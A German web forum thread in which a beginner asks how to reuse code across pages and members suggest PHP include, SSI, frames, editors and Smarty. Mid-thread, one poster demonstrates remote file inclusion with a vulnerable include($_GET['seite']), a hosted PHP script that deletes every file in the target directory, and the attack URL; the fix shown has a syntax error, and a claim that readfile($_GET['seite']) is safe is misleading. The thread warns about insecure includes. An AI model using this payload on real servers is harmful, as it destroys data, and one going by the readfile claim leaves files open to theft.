Sandra: Frage zu HTML

Hallo,
ich weiß das ist für Kenner wohl das normalste der Welt aber ich als Anfängerin habe ein Problem.
Ich möchte gerne Teile aus meinem Code die immer wieder in anderen Skripts vorkommen, nur ein mal schreiben und dann in den anden Skripten, nur einbinden ohne immer wieder alles schreiben zu müssen.

Ich hoffe ich habe verständlich geschrieben.
Danke schon mal im Vorraus für die Hilfe.
Sandra

  1. Hallo Freunde des gehobenen Forumsgenusses,

    Ich möchte gerne Teile aus meinem Code die immer wieder in anderen Skripts vorkommen, nur ein mal schreiben und dann in den anden Skripten, nur einbinden ohne immer wieder alles schreiben zu müssen.

    Die Scriptsprache deiner Wahl stellt dafür sicherlich Mechanismen zur Verfügung.
    Was hat das mit HTML zu tun? Um welche Scriptsprache handelt es sich?

    Gruß
    Alexander Brock

    --
    SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:? ss:| de:> js:( ch:| sh:( mo:} zu:}
    http://againsttcpa.com
    1. Hallo Alexander.

      Ich möchte gerne Teile aus meinem Code die immer wieder in anderen Skripts vorkommen, nur ein mal schreiben und dann in den anden Skripten, nur einbinden ohne immer wieder alles schreiben zu müssen.

      Die Scriptsprache deiner Wahl stellt dafür sicherlich Mechanismen zur Verfügung.

      Oder der Editor ihrer Wahl.

      Einen schönen Dienstag noch.

      Gruß, Ashura

      --
      Selfcode: sh:( fo:} ch:? rl:( br: n4:~ ie:{ mo:| va:) de:> zu:) fl:( ss:) ls:[ js:|
      30 Days to becoming an Opera8 Lover -- Opera Mini on Treo
      Meine Browser: Opera 8.02 | Firefox 1.0.6 | Lynx 2.8.5 | Netscape 4.7 | IE 6.0
      [Deshalb frei! - Argumente pro freie Software]
      1. Hallo Alexander.

        Ich möchte gerne Teile aus meinem Code die immer wieder in anderen Skripts vorkommen, nur ein mal schreiben und dann in den anden Skripten, nur einbinden ohne immer wieder alles schreiben zu müssen.

        Die Scriptsprache deiner Wahl stellt dafür sicherlich Mechanismen zur Verfügung.

        Oder der Editor ihrer Wahl.

        Einen schönen Dienstag noch.

        Hurra...
        Hurra...
        Endlich mal eine schöne Antwort!
        Grundsätzlich bieten viele Editoren diese Funktion von Hause aus mit an.
        Zu empfehlen wären da phase5 zum Beispiel.
        Oder Notfalls benutzt man Frames!
        uiuiu böse böse Frames.. Geht aber in jedem fall auch!
        http://de.selfhtml.org/html/frames/index.htm
        Sonst ist ja genau das der Grund warum viele anfangen PHP zu lernen.
        Wobei ich SSI da auch nicht verbannen möchte, damit kann man nämlich weniger Mist machen:
        http://de.selfhtml.org/servercgi/server/ssi.htm

        Viele Grüße TomIRL

  2. Hallo Sandra,

    da würde ich auf die serverseitige Scriptsprache PHP zurückgreifen.
    bedingung ist einfach das dies dein server unterstützt.

    Dann ist es ganz einfach du machst eine datei

    inhalt.php

    dort schreibst du alles rein was immer wieder vorkommt.

    dann in die anderen dateien schreisbt du einfach

    <? include "inhalt.php" ?>

    fertig!

    sonst frag einfach.

    gruss marco

    1. Hallo Sandra,

      da würde ich auf die serverseitige Scriptsprache PHP zurückgreifen.
      bedingung ist einfach das dies dein server unterstützt.

      Bedingung ist, dass Du grundlegend weißt welchen Unfug man mit PHP anstellen kann!

      TomIRL

      1. Für nen einfachen Include braucht man keine Tiefgründigen Kenntnisse, vertiefen kann man das ja dann später (oder auch nicht).

        1. Hallo Freunde des gehobenen Forumsgenusses,

          Für nen einfachen Include braucht man keine Tiefgründigen Kenntnisse, vertiefen kann man das ja dann später (oder auch nicht).

          Ach ja?
          Verstehst du unter "einfaches Include" so etwas?
          include($_GET['seite'].'.php');

          Oder zählt das auch als einfach:

            
          $erlaubte_dateien = array('forum' => 'forum.inc.php', 'impressum' => 'impressum.inc.php');  
          include(isset($_GET['seite']) ? (isset($erlaubte_dateien[$_GET['seite']])? $erlaubte_dateien[$_GET['seite']]) : 'standard.inc.php') : 'standard.inc.php');  
          
          

          Ich finde allerdings, Sandra braucht eher readfile(), damit kann man keinen
          mir bekannten froben Unfug treiben.

          Gruß
          Alexander Brock

          --
          SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:? ss:| de:> js:( ch:| sh:( mo:} zu:}
          http://againsttcpa.com
          1. Hallo Alexander,

            Ich finde allerdings, Sandra braucht eher readfile(), damit kann man keinen mir bekannten froben Unfug treiben.

            Hm, was soll man denn bei einem include für einen Unfug treiben?

            Liebe Grüße,
            Nadja

            --
            system.exit(0);
            1. Hallo Freunde des gehobenen Forumsgenusses,

              Hm, was soll man denn bei einem include für einen Unfug treiben?

              diesen, z.B.:

              Dein Code:
              include($_GET['seite']);

              Mein Code (auf <meinserver>):

                
              <?php  
              $handle = opendir('.');  
              while(($file = readdir($handle)) !== false) unlink($file);  
              closedir($file);  
              ?>  
              
              

              Mein Aufruf deiner Seite:
              http://deinserver/index.php?seite=http%3A%2F%2Fmeinserver%2Fmeinedatei.php

              Löscht dir alle dateien im Ordner mit der index.php

              Ist das genug Unfug oder muss ich noch mehr zeigen?

              Gruß
              Alexander Brock

              --
              SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:? ss:| de:> js:( ch:| sh:( mo:} zu:}
              http://againsttcpa.com
              1. Hallo Alexander,

                (...)
                Ist das genug Unfug oder muss ich noch mehr zeigen?

                Jap, danke für das Beispiel.

                Aber wenn man immer eine bestimmte Datei einbindet, wäre es doch eh Schwachsinn, das mit include($_GET['seite']); zu machen, oder etwa nicht!?

                Aber sobald ich da einen festen Dateinamen angebe, kann ein Hacker doch nichts mehr damit anfangen!?
                Also z.B. include(einbinden.php);

                Liebe Grüße,
                Nadja

                --
                system.exit(0);
                1. Hallo Freunde des gehobenen Forumsgenusses,

                  Aber sobald ich da einen festen Dateinamen angebe, kann ein Hacker doch nichts mehr damit anfangen!?
                  Also z.B. include(einbinden.php);

                  Schon. Du musst einbinden.php aber in Anführungszeichen setzen, sonst meckert PHP.

                  Gruß
                  Alexander Brock

                  --
                  Ceterum censeo Carthaginem esse delendam
                  1. Hallo Alexander,

                    Aber sobald ich da einen festen Dateinamen angebe, kann ein Hacker doch nichts mehr damit anfangen!?
                    Also z.B. include(einbinden.php);

                    Schon. Du musst einbinden.php aber in Anführungszeichen setzen, sonst meckert PHP.

                    Tschuldigung ;)
                    include('einbinden.php');

                    So besser?

                    Liebe Grüße,
                    Nadja

                    --
                    system.exit(0);
                    1. Hallo Freunde des gehobenen Forumsgenusses,

                      include('einbinden.php');

                      So besser?

                      Das ist besser, wenn in einbinden.php tatsächlich PHP-Code steht, ansonsten sollte man
                      [link:http://www.php.net/manual/de/function.readfile.php@title=readfile]('einbinden.php');
                      verwenden

                      Gruß
                      Alexander Brock

                      --
                      [latex]\lim_{3 \to 4}{\sqrt{3}} = 2[/latex]
                      1. Hallo Alexander,

                        Das ist besser, wenn in einbinden.php tatsächlich PHP-Code steht, ansonsten sollte man
                        [link:http://www.php.net/manual/de/function.readfile.php@title=readfile]('einbinden.php');
                        verwenden

                        Danke für den Hinweis und den Link :)

                        Liebe Grüße,
                        Nadja

                        --
                        system.exit(0);
                        1. P.s: Und readfile ist auch "sicher", sofern man direkt einen Dateinamen angibt??

                          Liebe Grüße,
                          Nadja

                          --
                          system.exit(0);
                          1. Hallo Freunde des gehobenen Forumsgenusses,

                            P.s: Und readfile ist auch "sicher", sofern man direkt einen Dateinamen angibt??

                            Ja. Readfile ist auch sicher, wenn man readfile($_GET['seite']); schreibt,
                            der ev. enthaltene Code wird nicht ausgeführt, nur angezeigt.

                            Gruß
                            Alexander Brock

                            --
                            SelfCode: ie:{ fl:( br:> va:) ls:[ fo:) rl:( n4:? ss:| de:> js:( ch:| sh:( mo:} zu:}
                            http://againsttcpa.com
            2. Hallo Nadja,

              Hm, was soll man denn bei einem include für einen Unfug treiben?

              Nimm doch einfach mal wie von Alexander gepostet das hier: include($_GET['seite'].'.php');

              UNd jetzt kommt der böse Cracker und ruft deine Seite wie folgt auf: http://www.example.org/include_skript.php?seite=http://www.example.com/seite_des_hackers.php (natürlich URL-encoded) - und schon wird fremder Code auf deinem Server ausgeführt - nich gut!

              Gruß aus Iserlohn

              Martin

              1. Hallo Freunde des gehobenen Forumsgenusses,

                Nimm doch einfach mal wie von Alexander gepostet das hier: include($_GET['seite'].'.php');

                UNd jetzt kommt der böse Cracker und ruft deine Seite wie folgt auf: http://www.example.org/include_skript.php?seite=http://www.example.com/seite_des_hackers.php (natürlich URL-encoded) - und schon wird fremder Code auf deinem Server ausgeführt - nich gut!

                Erster! ;-)

                Und wenn du den zweiten Code nimmst, den ich gepostet habe, wird nur standard.php inkludiert.
                Darauf muss man aber erstmal kommen, dass man solche Prüfungen machen muss.

                Gruß
                Alexander Brock

                --
                Ceterum censeo Carthaginem esse delendam
              2. Hallo Martin.

                Nimm doch einfach mal wie von Alexander gepostet das hier: include($_GET['seite'].'.php');

                UNd jetzt kommt der böse Cracker und ruft deine Seite wie folgt auf: http://www.example.org/include_skript.php?seite=http://www.example.com/seite_des_hackers.php (natürlich URL-encoded) - und schon wird fremder Code auf deinem Server ausgeführt - nich gut!

                Es wird also die Resource http://www.example.com/seite_des_hackers.php.php eingebunden...

                Einen schönen Dienstag noch.

                Gruß, Ashura

                --
                Selfcode: sh:( fo:} ch:? rl:( br: n4:~ ie:{ mo:| va:) de:> zu:) fl:( ss:) ls:[ js:|
                30 Days to becoming an Opera8 Lover -- Opera Mini on Treo
                Meine Browser: Opera 8.02 | Firefox 1.0.6 | Lynx 2.8.5 | Netscape 4.7 | IE 6.0
                [Deshalb frei! - Argumente pro freie Software]
                1. HI!

                  Es wird also die Resource http://www.example.com/seite_des_hackers.php.php eingebunden...

                  Ja ich weiß - und? Wo ist das Problem? *g*

                  Nur dass ich im Eifger des Gefechtes Cracker und Hacker durcheinandergeschmissen habe, soll mir verziehen sein.

                  Gruß aus Iserlohn

                  Martin

                  1. Hallo Martin.

                    Es wird also die Resource http://www.example.com/seite_des_hackers.php.php eingebunden...

                    Ja ich weiß - und? Wo ist das Problem? *g*

                    Ich wollte es nur erwähnt haben.

                    Nur dass ich im Eifger des Gefechtes Cracker und Hacker durcheinandergeschmissen habe, soll mir verziehen sein.

                    So sei es denn.

                    Einen schönen Dienstag noch.

                    Gruß, Ashura

                    --
                    Selfcode: sh:( fo:} ch:? rl:( br: n4:~ ie:{ mo:| va:) de:> zu:) fl:( ss:) ls:[ js:|
                    30 Days to becoming an Opera8 Lover -- Opera Mini on Treo
                    Meine Browser: Opera 8.02 | Firefox 1.0.6 | Lynx 2.8.5 | Netscape 4.7 | IE 6.0
                    [Deshalb frei! - Argumente pro freie Software]
          2. Oder zählt das auch als einfach:

            $erlaubte_dateien = array('forum' => 'forum.inc.php', 'impressum' => 'impressum.inc.php');
            include(isset($_GET['seite']) ? (isset($erlaubte_dateien[$_GET['seite']])? $erlaubte_dateien[$_GET['seite']]) : 'standard.inc.php') : 'standard.inc.php');

              
            Dass ist auch mit sicherheit das womit Sandra einsteigen wird. Um einfach Codeschnipsel zusammenzusetzten um sie nicht jedesmal neu schreiben zu müssen, reicht ja wohl der code den macro gepostet hat.  
              
            Dass es komplizierter und umfangreicher auch geht ist klar, aber das kann man sich ja später wenn man will.
            
  3. Was du brauchst ist ein Template Framework, wie z.b. Smarty. Dafür brauchst du allerdings php. Mehr gibt es auf http://smarty.php.net

    Gruss,
    Jan

    1. Was du brauchst ist ein Template Framework, wie z.b. Smarty. Dafür brauchst du allerdings php. Mehr gibt es auf http://smarty.php.net

      Ja genau..
      Mit Kanonen auf Spatzen schießen..
      Für einen Anfänger der richtige Tip.
      Solch ein Unfug.
      Das kann man mit SSI lösen.
      Ohne die lahmarschige Templateengine von Smarty!

      TomIRL

  4. Hallo Sandra,

    Ich möchte gerne Teile aus meinem Code die immer wieder in anderen Skripts vorkommen, nur ein mal schreiben und dann in den anden Skripten, nur einbinden ohne immer wieder alles schreiben zu müssen.

    Dafür benötigst du eine Skriptsprache, wie z.B. PHP, ASP oder JavaScript.

    Damit kann man durch einen Befehl Dateien/Codeteile in eine andere Datei einbinden.

    Liebe Grüße,
    Nadja

    --
    system.exit(0);
    1. Hallo Nadja

      Dafür benötigst du eine Skriptsprache, wie z.B. PHP, ASP oder JavaScript.

      JavaScript geht bestimmt auch!
      Neee geht bestimmt nicht..

      Ich würde zunächst mal gucken was der Server so alles kann wo das Ding drauf läuft.
      TomIRL

      1. Hallo TomIRL,

        Dafür benötigst du eine Skriptsprache, wie z.B. PHP, ASP oder JavaScript.

        JavaScript geht bestimmt auch!
        Neee geht bestimmt nicht..

        Ich habe auch nicht behauptet, dass es mit JS funktioniert. Ich habe lediglich drei Skriptsprachen aufgezählt, zu denen nun mal auch JS zählt. Ob es dir nun passt, oder nicht.

        Liebe Grüße,
        Nadja

        --
        system.exit(0);
        1. Hi!

          Dafür benötigst du eine Skriptsprache, wie z.B. PHP, ASP oder JavaScript.

          Ich habe auch nicht behauptet, dass es mit JS funktioniert.

          Ach nein? Dann hat Stoiber aber auch wirklich nichts abfälliges über die Frustrierten gesagt!

          Gruß aus Iserlohn

          Martin

          1. Hallo Martin,

            Ich habe auch nicht behauptet, dass es mit JS funktioniert.

            Ach nein? Dann hat Stoiber aber auch wirklich nichts abfälliges über die Frustrierten gesagt!

            War vielleicht blöd formuliert. Aber das ist halt typisch für mich.

            Liebe Grüße,
            Nadja

            --
            system.exit(0);
            1. Hi!

              Dann hat Stoiber aber auch wirklich nichts abfälliges über die Frustrierten gesagt!

              War vielleicht blöd formuliert. Aber das ist halt typisch für mich.

              Für Ede auch *scnr*

              Gruß aus Iserlohn

              Martin

              1. Hallo Martin,

                War vielleicht blöd formuliert. Aber das ist halt typisch für mich.
                Für Ede auch *scnr*

                Tja, nur das man bei Politikern nie so genau sagen kann, ob die es nicht doch so gemeint haben, wie es gesagt wurde.

                Liebe Grüße,
                Nadja

                --
                system.exit(0);
                1. Hi,

                  » War vielleicht blöd formuliert. Aber das ist halt typisch für mich.

                  Für Ede auch *scnr*

                  Tja, nur das man bei Politikern nie so genau sagen kann, ob die es nicht doch so gemeint haben, wie es gesagt wurde.+#

                  Und sie auch nie was einsehen. Oder sich entschuldigen. Oder beides. Uneigennützig versteht sich;) Aber ich denke eh dass das Frauen generell besser können. ;))

                  vg melanie

  5. Hallo,
    Ich möchte gerne Teile aus meinem Code die immer wieder in anderen Skripts vorkommen, nur ein mal schreiben und dann in den anden Skripten, nur einbinden ohne immer wieder alles schreiben zu müssen.

    »»

    Wenn es nur um Html geht ,wäre auch die include-technik vom
    editor phase5 zu bedenken
    in version 5.3
    oder in version 5.2 [http://www.pctipp.ch/library/actions/pre_download.asp?id=4982]
    aus google-suche phase5